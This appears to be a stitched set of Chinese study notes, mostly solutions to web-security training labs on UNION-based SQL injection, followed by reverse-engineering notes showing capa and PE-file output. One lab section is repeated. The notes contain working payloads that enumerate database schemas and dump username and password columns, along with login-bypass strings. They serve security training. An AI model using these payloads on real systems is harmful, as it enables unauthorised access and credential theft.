step 1. 確認有幾欄:
sql指令:
%27+UNION+SELECT+NULL,NULL--
指令來源:
實行結果:
只要不寫什麼「internal server error」,代表欄數2是對的。
step 2. 列出資料庫:
sql指令:
%27+UNION+SELECT+schema_name,+NULL+FROM+information_schema.schemata--
指令來源:
實行結果:
step 3. 列出public這個資料庫的table:
sql指令:
%27+UNION+SELECT+NULL,+TABLE_NAME+FROM+information_schema.tables+WHERE+TABLE_SCHEMA+=+%27public%27--
指令來源:
上面列的指令跟指令來源有些不同,因為不須列出table_schema,所以以NULL代替;另外也沒有AND table_schema != ‘information_schema’,而是table_schema = public,因為是要列出public的table。下一張可能會比較像:
實行結果:
step 4. 列出public這個資料庫的users_geekak table的所有column:
sql指令:
%27+UNION+SELECT+NULL,+COLUMN_NAME+FROM+information_schema.columns+WHERE+TABLE_SCHEMA+=+'public'+AND+TABLE_NAME+=+'users_geekak'--
指令來源:
實行結果:
step 5. 列出public這個資料庫的users_geekak table的兩個column,username_kjqfzv跟password_ayysbl內容:
sql指令:
'+UNION+SELECT+username_kjqfzv,+password_ayysbl+FROM+users_geekak--
指令來源:
"select 欄位名稱 from table名稱"是所有資料庫共通指令。
實行結果:
Lab:
Lab: SQL injection attack, listing the database contents on Oracle | Web Security Academy
題目是要你在orcale的資料庫,利用SQL injection找出administrator的密碼。其實跟上一題的邏輯是一模一樣,只是指令會長的不同。Orcale的SQLi cheat sheet請參照
Oracle SQL Injection Cheat Sheet | pentestmonkey
先到頁面,隨便點一個tag如上圖紅圈處,網址後面就會出現filter?catarory=Gifts。接下來的步驟,注意sql指令都是直接貼在網址列的Gifts後面。
step 1. 確認欄位數量:
sql指令:
'+UNION+SELECT+NULL,NULL+FROM+DUAL--
指令來源:
實行結果:
只要不寫什麼「internal server error」,代表欄數2是對的。
step 2. 確認所有DB
sql指令:
%27+UNION+SELECT+DISTINCT+owner,+NULL+FROM+all_tables--
指令來源:
因為有兩欄,所以會變成多一個NULL。
實行結果:
不過這一條指令的輸出後面不會用到,所以這條指令其實沒有用。
step 3. 列出資料庫所有table
sql指令:
%27+UNION+SELECT+table_name,+NULL+FROM+all_tables--
指令來源:
實行結果:
注意上圖反藍處USERS_SNXDGH,它是可疑的table。
step 4. 列出USERS_SNXDGH table中的所有column
sql指令:
%27+UNION+SELECT+column_name,+NULL+FROM+all_tab_columns+WHERE+table_name+=+'USERS_SNXDGH'--
指令來源:
注意要改一下table_name。
實行結果:
輸出兩個column,USERNAME_JGKYJS跟PASSWORD_GUXBZE如紅圈處。
step 5. 列出上述兩個column的內容
sql指令:
'+UNION+SELECT+USERNAME_JGKYJS,+PASSWORD_GUXBZE+FROM+USERS_SNXDGH--
指令來源:
"select 欄位名稱 from table名稱"是所有資料庫共通指令。
實行結果:
可從上圖紅圈處得知帳密分別是administrator跟itjyukxtgiyep2sd0vey。
點選頁面上方My account,用剛剛得到的帳密進行登入:
成功解出lab。
]]>題目1:
題目source code:
var query = "SELECT name FROM user where username = '" + username + "' and password = '" + password + "'";
解答
username: admin
password: unknown' or '1'='1
query: SELECT name FROM user where username = 'admin' and password = 'unknown' or '1'='1'
unknown後面的'
很重要。
題目2:
如果某個網站可以輸入以下網址來查詢:
https://insecure-website.com/products?category=Gifts
而查詢語句是:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
這source code代表
有release = 1那很可能有release = 0,可能代表未公開商品。
如果輸入
https://insecure-website.com/products?category=Gifts'--
這會使查詢語句變成:
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
--
是sql語句中的註解符號,所以後面的AND release = 1
會變成沒有用,造成未公開商品暴露。
如果輸入
https://insecure-website.com/products?category=Gifts'+OR+1=1--
這會使查詢語句變成:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
這代表category是gifts或是1=1都可以,而1=1又永遠為真,所以會暴露所有category的商品。
Lab 1:
https://0a90000f0417836082c3c968005a009e.web-security-academy.net/filter?category=Gifts
source code:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
sql指令: (加在網址的Gifts後面)
用'+OR+1=1--
:
Lab 2:
點右上角的account,會出現類似題目1的畫面,解法也跟題目1相同。name依題目要求輸入administrator,密碼用aaa' or '1'='1
即可:
SQL 語法的 UNION 的關鍵字可執行多個 SELECT:
SELECT a FROM table1 UNION SELECT b FROM table2
回傳包含 table1 的 a 行 與 table2 的 b 行的值:
限制條件:
前後的資料欄位數量必須相同,才能夠合併。
每一欄的資料類型必須兼容: 不可以某一欄只接受數字,但是你卻嘗試將字元型的也併入
關於限制條件1: 如何確認資料欄位數量?
假設原 SQL 中, SELECT 了三個欄位 (分別為 id、account、password)
由於原SQL語法只有 SELECT 三個欄位,所以當駭客測試到 ORDER BY 4 就會回報錯,駭客就可以得知原語法只有三個欄位:
<原SQL語法> ORDER BY 1;
<原SQL語法> ORDER BY 2;
<原SQL語法> ORDER BY 3;
<原SQL語法> ORDER BY 4;
關於限制條件2: 如何確認資料類型?
目前已經得知 SELECT 三個欄位有3個,但是駭客不知道資料庫每個欄位的資料類型 (大致可分為數字或字元)。由於數字可以被資料庫當作字元,字元不能被當作數字,所以我們使用一個字元 'a' 來對每個欄位進行測試,當數據類型不相容,則會產生錯誤,若資料庫中 id 欄位只接受數字,則在 SELECT 'a', NULL, NULL 指令中會顯示錯誤
<原SQL語法> UNION SELECT 'a', NULL, NULL
<原SQL語法> UNION SELECT NULL, 'a', NULL
<原SQL語法> UNION SELECT NULL, NULL, 'a'
如何得知欄位名稱?
假設原 SQL 語法如下:
SELECT `id`, `name`
FROM `User`
WHERE `id` = {id};
想使用的union攻擊如下:
SELECT `id`, `name`
FROM `User`
WHERE `id` = 0
UNION SELECT NULL, `content`
FROM `Secret`;
如何知道上例中的 Secret(database中的table)、 content(table中的column)的名稱? 另外,要怎麼知道union select後面需要接幾個(就是要知道有幾欄)?(上面已有說明)
資料庫元素由大到小: database -> table -> column,這也是查詢的順序。
知道databese名稱:
在 MySQL / MariaDB 中,預設會有一個 database 儲存資料庫的 schema 資料,稱為 information_schema。
information_schema.schemata: 抓取 database 的名稱
利用 UNION,我們可以構建這樣的 SQL 語法,取得資料庫名稱:
<原SQL語法>
UNION SELECT NULL, `SCHEMA_NAME`
FROM `information_schema`.`schemata`;
information_schema.tables: 儲存了各個資料庫的 table 資訊
利用 UNION,我們可以構建這樣的 SQL 語法,取得table名稱:
<原SQL語法>
UNION SELECT NULL, `TABLE_NAME`
FROM `information_schema`.`tables`
WHERE `TABLE_SCHEMA` = 'CTF';
information_schema.columns: 抓取database的table的column的名稱
利用 UNION,我們可以構建這樣的 SQL 語法,取得 column 名稱:
<原SQL語法>
UNION SELECT NULL, `COLUMN_NAME`
FROM `information_schema`.`columns`
WHERE `TABLE_SCHEMA` = 'CTF'
AND `TABLE_NAME` = 'Secret';
有了上述資料,便可以了解資料庫中的結構,接著便可以利用 UNION 來將任意資料竊取出來:
<原SQL語法>
UNION SELECT NULL, `content`
FROM `Secret`;
結論,做lab之前,需要做的事有以下幾項:
確認欄數、確認每一欄資料類型(這兩步都是同樣網站做過一次,以後就可以不用再做)、找到對應語句。如果需要存取某個column的資料,則要繼續做以下4步驟: 確認有哪些DB,特定DB裡的所有table,鎖定可疑table列出它所有column,列出column內資料(指令: select column名稱 from table名稱)。
另外要注意的,是瀏覽器的轉譯(百分比表示法)。在網址列上,空白要打成+號、'
要打成%27、#
要打成%23。尤其是#要注意。
Lab:
目前lab網址:
https://0af50006045d1a2a80d503bb00620061.web-security-academy.net/filter?category=Gifts
step 1. 確認欄數
sql指令 (貼在Gifts後面):
'+UNION+SELECT+NULL+FROM+DUAL--
注意第一個'
超重要!
指令來源:
除了上面教的order by以外,還有另一種方式可以確認:
實行結果:
看起來是錯誤,代表1列不對,所以把語句改成如下,看是不是兩列:
'+UNION+SELECT+NULL,NULL+FROM+DUAL--
看起來是bingo了。
step 2. 確認欄位(column)的資料類型
sql指令:
'+UNION+SELECT+'test','test'+FROM+DUAL--
指令來源:
實行結果:
step 3. 確認orcale的DB版本:
sql指令:
'+UNION+SELECT+banner,+NULL+FROM+v$version--
注意banner不用加單引號!
指令來源:
Oracle SQL Injection Cheat Sheet | pentestmonkey
Find Oracle version and edition – SQL Bits
實行結果:
Lab:
跟上一題類似,也是要用sql語句查詢作業系統。
step 1. 測試有幾欄:
sql指令:
'+UNION+SELECT+NULL,NULL%23
指令來源:
最後面的--
是註解,用途把後面的語句註解掉。而MySQL的註解是#
,百分比編碼是%23。
實行結果:
跟剛剛一樣兩欄。
step 2. 列出版本
sql指令:
%27+UNION+SELECT+@@version,+NULL%23
指令來源:
MySQL SQL Injection Cheat Sheet | pentestmonkey
拼湊出SQL語句(%27就是'
,加號就是空白) :
實行結果:
Lab:
題目是要你在非orcale的資料庫,利用SQL injection找出administrator的密碼。可以參考
MySQL SQL Injection Cheat Sheet | pentestmonkey
step 1. 確認有幾欄:
sql指令:
%27+UNION+SELECT+NULL,NULL--
指令來源:
實行結果:
只要不寫什麼「internal server error」,代表欄數2是對的。
step 2. 列出資料庫:
sql指令:
%27+UNION+SELECT+schema_name,+NULL+FROM+information_schema.schemata--
指令來源:
實行結果:
step 3. 列出public這個資料庫的table:
sql指令:
%27+UNION+SELECT+NULL,+TABLE_NAME+FROM+information_schema.tables+WHERE+TABLE_SCHEMA+=+%27public%27--
指令來源:
上面列的指令跟指令來源有些不同,因為不須列出table_schema,所以以NULL代替;另外也沒有AND table_schema != ‘information_schema’,而是table_schema = public,因為是要列出public的table。下一張可能會比較像:
實行結果:
step 4. 列出public這個資料庫的users_geekak table的所有column:
sql指令:
%27+UNION+SELECT+NULL,+COLUMN_NAME+FROM+information_schema.columns+WHERE+TABLE_SCHEMA+=+'public'+AND+TABLE_NAME+=+'users_geekak'--
指令來源:
實行結果:
step 5. 列出public這個資料庫的users_geekak table的兩個column,username_kjqfzv跟password_ayysbl內容:
sql指令:
'+UNION+SELECT+username_kjqfzv,+password_ayysbl+FROM+users_geekak--
指令來源:
"select 欄位名稱 from table名稱"是所有資料庫共通指令。
實行結果:
Lab:
Lab: SQL injection attack, listing the database contents on Oracle | Web Security Academy
題目是要你在orcale的資料庫,利用SQL injection找出administrator的密碼。其實跟上一題的邏輯是一模一樣,只是指令會長的不同。Orcale的SQLi cheat sheet請參照
Oracle SQL Injection Cheat Sheet | pentestmonkey
先到頁面,隨便點一個tag如上圖紅圈處,網址後面就會出現filter?catarory=Gifts。接下來的步驟,注意sql指令都是直接貼在網址列的Gifts後面。
step 1. 確認欄位數量:
sql指令:
'+UNION+SELECT+NULL,NULL+FROM+DUAL--
指令來源:
實行結果:
只要不寫什麼「internal server error」,代表欄數2是對的。
step 2. 確認所有DB
sql指令:
%27+UNION+SELECT+DISTINCT+owner,+NULL+FROM+all_tables--
指令來源:
因為有兩欄,所以會變成多一個NULL。
實行結果:
不過這一條指令的輸出後面不會用到,所以這條指令其實沒有用。
step 3. 列出資料庫所有table
sql指令:
%27+UNION+SELECT+table_name,+NULL+FROM+all_tables--
指令來源:
實行結果:
注意上圖反藍處USERS_SNXDGH,它是可疑的table。
step 4. 列出USERS_SNXDGH table中的所有column
sql指令:
%27+UNION+SELECT+column_name,+NULL+FROM+all_tab_columns+WHERE+table_name+=+'USERS_SNXDGH'--
指令來源:
注意要改一下table_name。
實行結果:
輸出兩個column,USERNAME_JGKYJS跟PASSWORD_GUXBZE如紅圈處。
step 5. 列出上述兩個column的內容
sql指令:
'+UNION+SELECT+USERNAME_JGKYJS,+PASSWORD_GUXBZE+FROM+USERS_SNXDGH--
指令來源:
"select 欄位名稱 from table名稱"是所有資料庫共通指令。
實行結果:
可從上圖紅圈處得知帳密分別是administrator跟itjyukxtgiyep2sd0vey。
點選頁面上方My account,用剛剛得到的帳密進行登入:
成功解出lab。
]]>C:\Users\exploit\Desktop
λ capa "C:\Users\exploit\Desktop\18HR-ReversingNinja\IDA Basic\BabyFirst.exe"
loading : 100%|██████████████████████████████████████████| 703/703 [00:02<00:00, 333.59 rules/s]
matching: 100%|███| 2625/2625 [01:04<00:00, 40.76 functions/s, skipped 7 library functions (0%)]
+------------------------+------------------------------------------------------------------------------------+
| md5 | 35a3d1b2936d4360f7e81ab0ad3b81d1 |
| sha1 | 142e6aa9255032e61b42ee310b0ab2e3159087c2 |
| sha256 | 598a462fc7dd2ca6f0b00391adb4c412a981d599abc5b9d529e5e2cd085d88fb |
| os | windows |
| format | pe |
| arch | i386 |
| path | C:\Users\exploit\Desktop\18HR-ReversingNinja\IDA Basic\BabyFirst.exe |
+------------------------+------------------------------------------------------------------------------------+
+------------------------+------------------------------------------------------------------------------------+
| ATT&CK Tactic | ATT&CK Technique |
|------------------------+------------------------------------------------------------------------------------|
| DEFENSE EVASION | Obfuscated Files or Information T1027 |
| | Obfuscated Files or Information::Indicator Removal from Tools T1027.005 |
| EXECUTION | Shared Modules T1129 |
+------------------------+------------------------------------------------------------------------------------+
+-----------------------------+-------------------------------------------------------------------------------+
| MBC Objective | MBC Behavior |
|-----------------------------+-------------------------------------------------------------------------------|
| ANTI-STATIC ANALYSIS | Disassembler Evasion::Argument Obfuscation [B0012.001] |
| CRYPTOGRAPHY | Encrypt Data::RC4 [C0027.009] |
| | Generate Pseudo-random Sequence::RC4 PRGA [C0021.004] |
| DATA | Encode Data::XOR [C0026.002] |
| DEFENSE EVASION | Obfuscated Files or Information::Encoding-Standard Algorithm [E1027.m02] |
| FILE SYSTEM | Read File [C0051] |
| | Writes File [C0052] |
| MEMORY | Allocate Memory [C0007] |
| PROCESS | Allocate Thread Local Storage [C0040] |
| | Check Mutex [C0043] |
| | Create Mutex [C0042] |
| | Set Thread Local Storage Value [C0041] |
| | Terminate Process [C0018] |
+-----------------------------+-------------------------------------------------------------------------------+
+------------------------------------------------------+------------------------------------------------------+
| CAPABILITY | NAMESPACE |
|------------------------------------------------------+------------------------------------------------------|
| contain obfuscated stackstrings | anti-analysis/obfuscation/string/stackstring |
| encode data using XOR | data-manipulation/encoding/xor |
| encrypt data using RC4 PRGA (2 matches) | data-manipulation/encryption/rc4 |
| contain a resource (.rsrc) section | executable/pe/section/rsrc |
| contain a thread local storage (.tls) section | executable/pe/section/tls |
| read file on Windows (2 matches) | host-interaction/file-system/read |
| write file on Windows (4 matches) | host-interaction/file-system/write |
| print debug messages (3 matches) | host-interaction/log/debug/write-event |
| check mutex and exit (4 matches) | host-interaction/mutex |
| allocate thread local storage | host-interaction/process |
| get thread local storage value (4 matches) | host-interaction/process |
| set thread local storage value (4 matches) | host-interaction/process |
| allocate RWX memory | host-interaction/process/inject |
| link function at runtime on Windows | linking/runtime-linking |
| parse PE header (4 matches) | load-code/pe |
| resolve function by parsing PE exports (26 matches) | load-code/pe |
+------------------------------------------------------+------------------------------------------------------+
capa函數可以補充程式行為,解決逆向者經驗不足的問題,IDA內也可以結合capa
使用PE-bear(是比較常用的軟體,靜態程式裡面怎麼使用資料結構)
DOS Header已棄用
各個section:
藍色代表執行以後偏移量
綠色代表在磁碟的偏移量
也可以用python爬出來PE裡的內容:
C:\Users\exploit\Desktop
λ ipython
Python 3.10.8 (tags/v3.10.8:aaaf517, Oct 11 2022, 16:50:30) [MSC v.1933 64 bit (AMD64)]
Type 'copyright', 'credits' or 'license' for more information
IPython 8.5.0 -- An enhanced Interactive Python. Type '?' for help.
In [1]: cd C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
In [2]: ls
磁碟區 C 中的磁碟沒有標籤。
磁碟區序號: 6409-9832
C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic 的目錄
2022/10/18 下午 03:57 <DIR> .
2022/10/18 下午 03:57 <DIR> ..
2022/10/18 下午 07:43 <DIR> hollowing
2022/10/18 下午 07:43 <DIR> invokeInMem
2022/10/17 下午 10:08 2,690 Lab#1_fetchModule_byTEB.c
2022/10/17 下午 10:16 3,589 Lab#2_parseDynamicAPIs.c
2022/10/17 下午 10:26 5,686 msgbox.exe
3 個檔案 11,965 位元組
4 個目錄 28,774,006,784 位元組可用
In [3]: dt = open('msgbox.exe','rb').read()
In [4]: dt[:10]
Out[4]: b'MZ\x90\x00\x03\x00\x00\x00\x04\x00'
In [5]: dt[0x600:]
Out[5]: b'30cm.tw\x00Welcome! Binary Ninja :)\x00\x00\x00\x00GCC: (tdm64-1) 10.3.0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00L0\x00\x0000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0080\x00\x00\x00\x00\x00\x0080\x00\x00\x00\x00\x00\x00M\x02MessageBoxA\x00\x00\x00\x000\x00\x00USER32.dll\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00\x00\x120\x1a0&0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.file\x00\x00\x00\n\x00\x00\x00\xfe\xff\x00\x00g\x01msgbox.cpp\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.text\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x012\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.rdata\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x03\x01!\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00$\x00\x00\x00\x02\x00\x00\x00\x03\x01\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.file\x00\x00\x00\x14\x00\x00\x00\xfe\xff\x00\x00g\x01fake\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00hname\x00\x00\x00(\x00\x00\x00\x03\x00\x00\x00\x03\x00fthunk\x00\x000\x00\x00\x00\x03\x00\x00\x00\x03\x00.text\x00\x00\x004\x00\x00\x00\x01\x00\x00\x00\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.idata$2\x00\x00\x00\x00\x03\x00\x00\x00\x03\x01\x14\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.idata$4(\x00\x00\x00\x03\x00\x00\x00\x03\x00.idata$50\x00\x00\x00\x03\x00\x00\x00\x03\x00.file\x00\x00\x00%\x00\x00\x00\xfe\xff\x00\x00g\x01fake\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.text\x00\x00\x004\x00\x00\x00\x01\x00\x00\x00\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.idata$4,\x00\x00\x00\x03\x00\x00\x00\x03\x01\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.idata$54\x00\x00\x00\x03\x00\x00\x00\x03\x01\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.idata$7L\x00\x00\x00\x03\x00\x00\x00\x03\x01\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.text\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00.data\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00.bss\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00.idata$7H\x00\x00\x00\x03\x00\x00\x00\x03\x00.idata$50\x00\x00\x00\x03\x00\x00\x00\x03\x00.idata$4(\x00\x00\x00\x03\x00\x00\x00\x03\x00.idata$68\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x1c\x00\x00\x00<\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x00\x00T\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00c\x00\x00\x00<\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00r\x00\x00\x00L\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x00\x00\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00__xl_f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x9b\x00\x00\x00<\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\xaf\x00\x00\x00@\x01\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xc7\x00\x00\x00\x00\x10\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00 